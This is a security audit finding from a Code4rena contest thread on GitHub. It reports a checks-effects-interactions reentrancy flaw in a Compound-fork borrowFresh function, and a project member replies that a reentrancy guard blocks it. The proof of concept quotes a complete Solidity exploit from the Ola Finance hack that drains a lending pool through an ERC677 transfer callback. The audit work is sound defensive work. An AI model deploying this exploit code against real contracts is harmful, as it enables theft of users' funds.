code423n4 commented 2 years ago

Lines of code

https://github.com/code-423n4/2022-04-dualityfocus/blob/f21ef7708c9335ee1996142e2581cb8714a525c9/contracts/compound_rari_fork/CToken.sol#L905-L910

Vulnerability details

Impact

it is a well known bug exists in compound code. because under the borrowFresh function, it doesnt follow the checks-effects-interact pattern. and this kind of bug has already leads to multiple serious hack, including the infamous C.R.E.A.M hack, the recent Hundread.Finance Hack or the more recent the Ola finance Hack. all of them suffer from the same bug, that is the borrowFresh func not persistent to the Check-Effect-Interact pattern.

Proof of Concept

basically, to utilize this bug, it must accepts the ERC677 or other kinds of token, which has a callback in their transfer funciton. You may refer the folllowwing Ola hack POC as reference:

contract Helper is OlaAddr {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function onTokenTransfer(
        address from,
        uint256,
        bytes memory
    ) public returns (bool) {
        if (from == address(oBUSD)) {
            ///call back, transfer all remaining oWETH back to owner
            uint256 oWETHBalance = ICERC20Delegate(oWETH).balanceOf(
                address(this)
            );
            ICERC20Delegate(oWETH).transfer(owner, oWETHBalance);
            emit log_named_address("from", from);
            return true;
        }

        return true;
    }

    function start() public {
        /// mint oWETH, borrow all BUSD left in the pool
        ///1. approve WETH
        ///2. mint all WETH to oWETH
        ///3. enter in the markets
        ///4. borrow all BUSD of oBUSD pool
        IWETH(WETH).approve(address(oWETH), type(uint256).max);
        uint256 balanceToMint = IWETH(WETH).balanceOf(address(this));
        emit log_named_uint("balanceToMint", balanceToMint);
        uint256 mintRes = ICERC20Delegate(oWETH).mint(balanceToMint);
        require(mintRes == 0, "mint failed");

        /// enter into the markets
        address[] memory markets = new address[](1);
        markets[0] = address(oWETH);
        IGov(comptroller).enterMarkets(markets);

        uint256 balanceToBorrow = IWETH(BUSD).balanceOf(address(oBUSD));
        emit log_named_uint("balanceToBorrow", balanceToBorrow);
        uint256 borrowRes = ICERC20Delegate(oBUSD).borrow(balanceToBorrow);
        require(borrowRes == 0, "borrow failed");

        IWETH(BUSD).transfer(owner, IWETH(BUSD).balanceOf(address(this)));
    }
}

contract Hack is OlaAddr {
    Helper public helper;

    constructor() {
        helper = new Helper();
    }

    function start() public {
        print();

        uint256 amountToSend = IWETH(WETH).balanceOf(address(this));
        IWETH(WETH).transfer(address(helper), amountToSend);

        helper.start();

        uint256 amountToRedeem = ICERC20Delegate(oWETH).balanceOf(
            address(this)
        );
        emit log_named_uint("amountToRedeem", amountToRedeem);
        ICERC20Delegate(oWETH).approve(address(oWETH), type(uint256).max);
        ICERC20Delegate(oWETH).redeem(amountToRedeem);

        print();
    }

    function print() public {
        emit log_named_uint(
            "balanceWETH",
            IWETH(WETH).balanceOf(address(this))
        );
        emit log_named_uint(
            "balanceBUSD",
            IWETH(BUSD).balanceOf(address(this))
        );
    }

    function onTokenTransfer(
        address from,
        uint256,
        bytes memory
    ) public returns (bool) {
        return true;
    }
}

Tools Used

None

Recommended Mitigation Steps


        /* We write the previously calculated values into storage */
        accountBorrows[borrower].principal = vars.accountBorrowsNew;
        accountBorrows[borrower].interestIndex = borrowIndex;
        totalBorrows = vars.totalBorrowsNew;

        doTransferOut(to, borrowAmount);

0xdramaone commented 2 years ago

I believe that this does not apply to us due to the Rari-style global reentrancy block whenever borrowFresh is called